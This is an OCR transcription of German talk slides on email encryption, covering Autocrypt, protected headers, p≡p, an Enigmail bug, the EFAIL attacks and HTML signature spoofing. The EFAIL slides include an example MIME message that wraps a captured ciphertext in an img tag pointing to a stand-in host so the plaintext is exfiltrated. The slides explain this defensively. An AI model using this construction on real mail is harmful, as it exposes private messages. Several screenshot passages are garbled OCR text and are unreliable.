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* Einfuhrung in E-Malil

* Autocrypt

* Protected Headers

* p=p - Pretty Easy Privacy

» EFAIL
 ,Falschung” von Signaturen



Verschlusselung iIm Web

‘ (i) @ hitps:/privacyweek.at/

M hitps./privacyweek.at



Verschlusselung von Malls

» Komplizierter
 Nur Inhalt
* Viele Metadaten

* Vortrag MacLemon 26.10.2018 »Email, wie
funktioniert das eigentlich wirklich?«



c-Mall Kurzeinfuhrung

 Umschlag (Envelope)

Header / Metadaten

- Absender, Empfanger
- Betreffﬂ
- Etc.

* Brief
- Inhalt (Body)ﬂ




c-Mall Kurzeinfuhrung




c-Mall Kurzeinfuhrung




c-Mall Kurzeinfuhrung




c-Mall Kurzeinfuhrung




c-Mall Kurzeinfuhrung




PGP konventionel

» Schlussel generieren

* Programm(e) einrichten

» Schlussel hochladen

» Schlusselaustausch mit Gesprachspartnern
» Schlusselverifikation



PGP Propbleme

* Immer noch Mail

* Metadaten bleiben

» Betreff unverschlusselt
» Kompliziert



AuToCrypt

« Uberschneidung mit p=p
 Autocrypt: header

- Enthalt Verschlusselungspraferenz
- Offentlicher Schltssel

* Probleme beil Mailinglisten

Q(

* Eventuell ungewollte Praferenzen

 Noch mehr Metadaten
» Kein Schutz gegen Man-In-The-Middle

Autocrypt: addr=sebastian@sebix.at; prefer-encrypt=mutual; keydata=...



AuToCrypt
* Integration in bestehende Programme (

- Enigmail
- K-9 Mail (Android)
- Delta Chat (Android)




Memory Hole

 Memory Hole Protected E-mail Headers
 Manche Headerdaten im Inhalt
* Erkennung von Modifikationen



Memory Hole

» Betreft:
- Ersetzen (Echter Betreff erst nach dem Entschlusseln)
- Signieren

» Absender:
- Signieren

* Verwirrung bei Mailinglisten



* Pretty Easy Privacy

* Nutzt bestehende Technologien

- Keine neue Kryptographie
- Keine neuen Protokolle

» Ziel: ,mass encryption”
e ,Sane defaults”

» Abstrahierung der technischen Details
- ,Privacy Status”



» Schlussel werden automatisch generiert

. Offentliche Schlissel werden immer mitgesendet
 Bel Antworten wird automatisch verschlusselt

* Optionale Verifizierung (zB Telefon)
- Fingerprints = ,,Trustwords”



p=p User 1 o Installation of p=p creates key pair (no questions asked) p=p User 2
o Unencrypted Email to p=p User 1 ( Trust level ) L
P=p Engine o p=p engine recognizes p=p usage at User 2 P=p User 2
. 5 §
@ o Reply to User 2 automatically encrypted and anonymized ( Trust level )
-
p=p User 1 “car horse battery staple yes” “blue dog apple munroe bag” p=p User 2

L@_./\/\Nr\/\ﬁf\,.\/v-\,_q

o Handshake with Tustwords via Phonecall leads to Trust level [EREE

-

p=p User 1 p=p User 2

h o All future communication encrypted and anonymized ( Trust level ERET ) @




* Verschlusselt Betreff

» Automatisches Key Management

» Keine zentrale Infrastruktur

* Optionale Passworter fur Schlussel
* Synchronisierung (geplant)



‘/l) heise Securl'fy News v Hintergrund Even

Security = T-Tage-News > 10/2018 = c't deckt auf: Enigmail verschickt Krypto-Mails im Klartext

c't deckt auf: Enigmail verschickt Krypto-Mails im Klartext
UPDATE

M Alert! Stand:03.10.2018 10:09 Uhr - Ronald Eikenberg Q)




c't deckt auf: Enigmail verschickt Krypto-Mails im Klartext

* E-Malils wurden unverschlusselt gesendet
» Betraf Windows+Thunderbird+Enigmail

 ca. 6000 Betroffene / 1 Woche
 Fehler beim Erstellen der veroffentlichten Version

- Automatische Tests wurden verbessert




#EFAIL

Disabling PGP in Thunderbird with Enigmail
BY STARCHY GRANT, SORAYA OKUDA, AND BILL BUDINCTON | MAY 13, 2018
Krypto-Desaster

Efail: Erfolgreiche Angriffe auf E-Mail-Verschlu

Attentioh PGP Users: New Vulnerabilities PR e e oo
Require You To Take Action Now - ty

EY DANNY O'BRIEN AND GENNIE CEEHART | MAY 13, 2018

Mit PGP oder SIMime verschliisselte E-
Mails sollen unsicher sein

14. Mai 2018, 1002 [ 117 rostiics

Sicherheitsforscher warnen vor einer massiven Liicke in

den zwei populéren Verschliisselungsstandards

-Mews = 05/2018 = PGP und 5/MIME: E-Mail-Verschllsselung akut angreifbar

PGP und S/MIME: E-Mail-Verschlusselung akut angreifbar
of)

14. Mai 2018 15:17 Internet . ;
14052018 1234 Uhr - Jurgen Schmidt

Forsche: fincenschwachstelleninE-Man- Gravierende Schwachstellen in E-Mail-
Verschliisselung .
Verschliisselung



#EFAIL

* Manipulation der Nachricht am Weqg

» Exfiltration von Klartext beim Empfanger
* Direct Exfiltration

* Crypto Gadgets



St s e e e S B S = Fis et e oo et e
From: Alice <alice@example.com>
To: Bob <bob@example.com>
Content-Type: multipart/mixed;
boundary="----78U9RTBH7EEFRSJP1SKM45UBS3D74Y"
Subject: Privacyweek

------ 78U9RTBH7EEFRSJP1SKM45UBS3D74Y
Content-Type: text/plain;

charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hallo,
kommst du heuer wieder zur Privacyweek?

------ J/8U9RTBH7EEFRSJP1SKM45UBS3D74Y - -




St s e e e S B S = Fis et e oo et e
From: Alice <alice@example.com>
To: Bob <bob@example.com>
Content-Type: multipart/mixed;
boundary="----78U9RTBH7EEFRSJP1SKM45UBS3D74Y"
Subject: Privacyweek

------ 7J8U9RTBH7EEFRSJP1SKM45UBS3D74Y
Content-Type: text/html;

charset=utf-8
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE html>
<html>
<head>...

------ J8U9RTBH/EEFRSJP1SKM45UBS3D74Y - -




boundary="----78U9RTBH7EEFRSJP1SKM45UBS3D74Y"

------ J8U9RTBH7EEFRSJP1SKM45UBS3D74Y
Content-Type: text/plain;

charset=utf-8
Content-Transfer-Encoding: quoted-printable

Teil 1

------ 78U9RTBH7EEFRSJP1SKM45UBS3D74Y
Content-Type: text/plain;

charset=utf-8
Content-Transfer-Encoding: quoted-printable

Teil 2




SRR e Sin S eiees s L 0 0 n I e S S S R T S S I T
Content-Type: multipart/encrypted;
protocol="application/pgp-encrypted";
boundary="RWeu7Fg2HkKWhRuwybaum8J rywuRhgibNs"

[...]

- -RWeu7Fg2HKWhRuwybaum8J rywuRhqibNs

Content-Type: application/octet-stream;
name="encrypted.asc"

Content-Description: OpenPGP encrypted message
Content-Disposition: inline; filename="encrypted.asc"




Backchannel”

 Externe Inhalte in HTML

 Mit Interaktion:
- Link
- Formular

<img src="https://example.com/tracking.gif* />
<a href=“https://example.com/tracking“>
<form action="https://example.com/tracking”>...



[~ To protect your privacy, Thunderbird has blocked remote content in this message.

Show remote content in this message

Edit remote content preferences..

Allow remote content from hittps://

Allow remote content from hittps://

Allow remote content from all 2 origins listed above

Allow remote content from (@

ﬁ If there are problems with how this message is displayed, dick here to view it in a web browses.

Click here to download pictures. To help protect your privacy. Outlook pressstad.sitamatle dnsmlnad ol cnma nictoiene in this mancann
Crownload Prciures

Report Suspicious Emad Bing Maps Change Automatic Download Settings
Add Sender to Sale Sanders List

Add the Domain @infomation.com to Sate Senders List

el Wit in Browse




Direct Extiltration

* Man-in-the-Middle-Angriff
* Abgreifen verschlusselter Nachricht

* E-Mail zusammenstellen aus
- Eigenen Teilen vorne und hinten

- Abgegriffenen Nachricht

» Zusammengesetzt muss dies einen Backchannel
ergeben



SRR e Sin S eiees s L 0 0 n I e S S S R T S S I T
Content-Type: multipart/mixed;
boundary="RWeu7Fg2HkWhRuwybaum8J rywuRhqibNs"

- -RWeu7Fg2HkWhRuwybaum8J rywuRhqibNs
Content-Type: text/html

<img src="https://example.com/

— 1 'S
Content-Type: application/octet-stream; name="encrypted.asc"
Content-Description: OpenPGP encrypted message

SGLLlciBzdGVodCBlaCBhYnNvbHVOIG5peCBpbnRlcmVzc2FudGVzIQo=

- -RWeu7Fg2HkWhRuwybaum8J rywuRhqgibNs
Content-Type: text/html
ll>

- -RWeu7Fg2HkWhRuwybaum8J rywuRhqgibNs - -




<img src="“https://example.com/
Geheimes Treffen heute Abend, 19h,

o

>




Crypto Gadgets

* Veranderung der verschlusselten Nachricht direkt
» Sighaturen werden ungultig

* Integritatsschutz:
- Seit ~ 2000

- Fehler muss angezeigt werden



#EFAIL

» Keine kryptografische Schwachen

» Aktuelle Programme verwenden
» Auf Signatur verschlusselter PGP-Mails achten
» Keine externen Ressourcen laden

* Misslungene Kommunikation im Vorfeld
- Entwickler der Tools kommunizierten nicht untereinander

* GNuPG fuhlte sich nicht zustandig
* Thunderbird hatte verlangertes Embargo gebraucht



OPENPGP/GNUPG

Signaturen falschen mit HTML und Bildern

PGP-Signaturen sollen gewahrleisten, dass eine E-Mail tatsachlich vom
korrekten Absender kommt. Mit einem simplen Trick kann man bei vielen
Mailclients scheinbar signierte Nachrichten erstellen - indem man die
entsprechende Anzeige mittels HTML falscht.

Von Hanno Bock
25. September 2018, 9:17 Uhr



" Enigmail Decrypted message; Good signature from_ Details™

Er I_ “ Reply | -+ Forward | & Archive | & Junk | @ Delete  More v

To Me <sebix@sebix.at>W

Hey!




e L View  Message SeEmings Help Fle [din View  Meisige  SEibings Helji

= Pomt., | Dl Repy | PSForwand | 0§ Trash | [3] Create Todo o Fant. | JReply . [rorwed . [§ Tash | |3 Create To-do
Impartant! Important!
Froi Alecm <ol ed®nd res Fram:  Alioe <allom@agl e
T Al Tio Rl
T [T R AT e BP0/ &30 A8
Signed by :Ilcnpqi.rr.l Shoory Dewtmile Fignod by sliceSgl.ne Showe Detailu
THus i 4 -shgnad MEssags, This t A Sijreed message

£rd of signed message End of signed mesrage



Impartant massagel impartant messagel

From: Alice <gliceddgl.res From: Alice <glicedigd re-
Ta: bob@qgl e Ta: bobfdql.re
Subjeck: Important message Subject: Important message!
Dabi: Sun, D Ses 2018 141634 +0300 | 0000 20700 DI 16 34 A M) Dake: Son, 095ep 2018 14:16: 32 0200 (09002078 08! f8: 32 AM)

Enchrity Ch-bigmned This is an important message, therefore I signed it!

Thiz 1% an Lmportant mezzage, therefore [ signed 1t!




Bob
Hello
To: alice@agl.re

Security: & Signed [bob@g2.re)

Hello

Carrol

Hello

Security: ©@Signed (bob@g2.re) <=
To: alice@q2.re

Hello



di0e] | Meet Tibel Exit Fret CHpacesriMewtPg veView Bttackm, dtlel r:Repl prMevt TiH=lp

tEviE  =Pregfn <SpaceriNextPg o:View Atbachs,

& popied -

ctAplaln, Encoding: ouobed-printabl it

il e

[mpor-tarit |



Fragen?
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